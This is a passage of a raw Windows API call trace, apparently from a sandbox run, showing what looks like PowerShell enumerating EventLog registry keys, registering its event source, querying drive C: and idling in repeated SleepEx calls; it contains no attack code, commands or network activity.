phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.816] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x0) returned 0x2 [0217.816] RegCloseKey (hKey=0x650) returned 0x0 [0217.816] RegOpenKeyExW (in: hKey=0x288, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.816] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x0) returned 0x2 [0217.816] RegCloseKey (hKey=0x650) returned 0x0 [0217.816] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.817] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x0) returned 0x2 [0217.817] RegCloseKey (hKey=0x650) returned 0x0 [0217.817] RegOpenKeyExW (in: hKey=0x288, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.817] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x0) returned 0x2 [0217.817] RegCloseKey (hKey=0x650) returned 0x0 [0217.817] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.817] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x6ac) returned 0x0 [0217.817] RegCloseKey (hKey=0x6ac) returned 0x0 [0217.817] RegCloseKey (hKey=0x288) returned 0x0 [0217.818] RegCloseKey (hKey=0x650) returned 0x0 [0217.819] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4cc | out: phkResult=0x7aef4cc*=0x650) returned 0x0 [0217.820] RegQueryInfoKeyW (in: hKey=0x650, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7aef51c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef518, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7aef51c*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef518*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.820] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x0, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.820] CoTaskMemFree (pv=0x0) [0217.820] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x1, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.820] CoTaskMemFree (pv=0x0) [0217.820] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x2, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.820] CoTaskMemFree (pv=0x0) [0217.821] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x3, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.821] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x4, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.821] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x5, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.821] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x6, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.821] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x7, lpName=0x5255d8c, lpcchName=0x7aef538, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7aef538, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.821] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.821] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x0) returned 0x2 [0217.821] RegCloseKey (hKey=0x288) returned 0x0 [0217.821] RegOpenKeyExW (in: hKey=0x650, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.821] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x0) returned 0x2 [0217.821] RegCloseKey (hKey=0x288) returned 0x0 [0217.822] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.822] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x0) returned 0x2 [0217.822] RegCloseKey (hKey=0x288) returned 0x0 [0217.822] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.822] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x0) returned 0x2 [0217.822] RegCloseKey (hKey=0x288) returned 0x0 [0217.822] RegOpenKeyExW (in: hKey=0x650, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.822] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x0) returned 0x2 [0217.823] RegCloseKey (hKey=0x288) returned 0x0 [0217.823] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.823] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x0) returned 0x2 [0217.823] RegCloseKey (hKey=0x288) returned 0x0 [0217.823] RegOpenKeyExW (in: hKey=0x650, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.823] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x0) returned 0x2 [0217.823] RegCloseKey (hKey=0x288) returned 0x0 [0217.823] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x288) returned 0x0 [0217.823] RegOpenKeyExW (in: hKey=0x288, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4f8 | out: phkResult=0x7aef4f8*=0x6ac) returned 0x0 [0217.823] RegCloseKey (hKey=0x6ac) returned 0x0 [0217.824] RegCloseKey (hKey=0x650) returned 0x0 [0217.825] RegCloseKey (hKey=0x288) returned 0x0 [0217.826] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4b4 | out: phkResult=0x7aef4b4*=0x288) returned 0x0 [0217.827] RegQueryInfoKeyW (in: hKey=0x288, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7aef504, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef500, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7aef504*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef500*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x0, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x1, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x2, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x3, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x4, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x5, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x6, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.827] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x7, lpName=0x5256dcc, lpcchName=0x7aef520, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7aef520, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.827] CoTaskMemFree (pv=0x0) [0217.902] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.926] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x0) returned 0x2 [0217.926] RegCloseKey (hKey=0x650) returned 0x0 [0217.926] RegOpenKeyExW (in: hKey=0x288, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.927] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x0) returned 0x2 [0217.927] RegCloseKey (hKey=0x650) returned 0x0 [0217.927] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.927] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x0) returned 0x2 [0217.927] RegCloseKey (hKey=0x650) returned 0x0 [0217.927] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.927] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x0) returned 0x2 [0217.927] RegCloseKey (hKey=0x650) returned 0x0 [0217.928] RegOpenKeyExW (in: hKey=0x288, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.928] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x0) returned 0x2 [0217.928] RegCloseKey (hKey=0x650) returned 0x0 [0217.928] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.928] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x0) returned 0x2 [0217.928] RegCloseKey (hKey=0x650) returned 0x0 [0217.928] RegOpenKeyExW (in: hKey=0x288, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.929] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x0) returned 0x2 [0217.929] RegCloseKey (hKey=0x650) returned 0x0 [0217.929] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x650) returned 0x0 [0217.929] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4e0 | out: phkResult=0x7aef4e0*=0x6ac) returned 0x0 [0217.929] RegCloseKey (hKey=0x6ac) returned 0x0 [0217.929] RegCloseKey (hKey=0x288) returned 0x0 [0217.930] RegCloseKey (hKey=0x650) returned 0x0 [0217.934] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x7af0004 [0217.942] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x525b978*="Registry", lpRawData=0x525b88c) returned 1 [0217.952] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x525f0f8*="Alias", lpRawData=0x525f020) returned 1 [0217.955] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5261db0*="Environment", lpRawData=0x5261cd8) returned 1 [0217.957] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x7aef4e4, nSize=0x80 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0217.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x104, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0217.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x7aef59c) returned 1 [0217.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x7aef618 | out: lpFileInformation=0x7aef618*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0217.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x7aef598) returned 1 [0217.958] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x7aeed40, nSize=0x80 | out: lpBuffer="က溕က溕") returned 0x0 [0217.959] GetLogicalDrives () returned 0x4 [0218.012] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0218.012] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0218.013] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x7aef588) returned 1 [0218.032] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x7aef490, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x7aef5b0, lpMaximumComponentLength=0x7aef5ac, lpFileSystemFlags=0x7aef5a8, lpFileSystemNameBuffer=0x7aef428, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x7aef5b0*=0xb4197730, lpMaximumComponentLength=0x7aef5ac*=0xff, lpFileSystemFlags=0x7aef5a8*=0x3e702ff, lpFileSystemNameBuffer="NTFS") returned 1 [0218.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x7aef584) returned 1 [0218.033] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.033] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.033] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0218.033] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0218.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x7aef540) returned 1 [0218.033] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x526789c | out: lpFileInformation=0x526789c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x31b3b9e4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xac0584ae, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xac0584ae, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0218.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x7aef53c) returned 1 [0218.034] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0218.034] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0218.034] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.034] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.041] PathIsNetworkPathW (pszPath="C:\\") returned 0 [0218.043] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0218.043] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0218.043] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.043] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0218.049] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0218.050] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5269f98*="FileSystem", lpRawData=0x5269ec0) returned 1 [0218.054] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x526cd20*="Function", lpRawData=0x526cc48) returned 1 [0218.058] ReportEventW (hEventLog=0x7af0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x526f904*="Variable", lpRawData=0x526f82c) returned 1 [0218.159] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.455] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.531] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.578] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.686] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.840] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.857] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.933] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.948] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.986] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.997] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.021] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.024] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.068] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.071] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.073] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.104] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.116] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.014] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.020] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.039] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.106] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.140] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.240] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.258] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.293] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.356] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.361] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.397] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.487] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.532] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0238.780] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.453] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.562] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.674] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.769] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0240.125] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0240.266] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0240.421] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0240.562] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0240.687] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0240.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0240.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0241.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0241.281] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0241.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0241.546] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0241.652] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0241.782] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0241.999] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0242.234] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0242.390] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0242.532] SleepEx 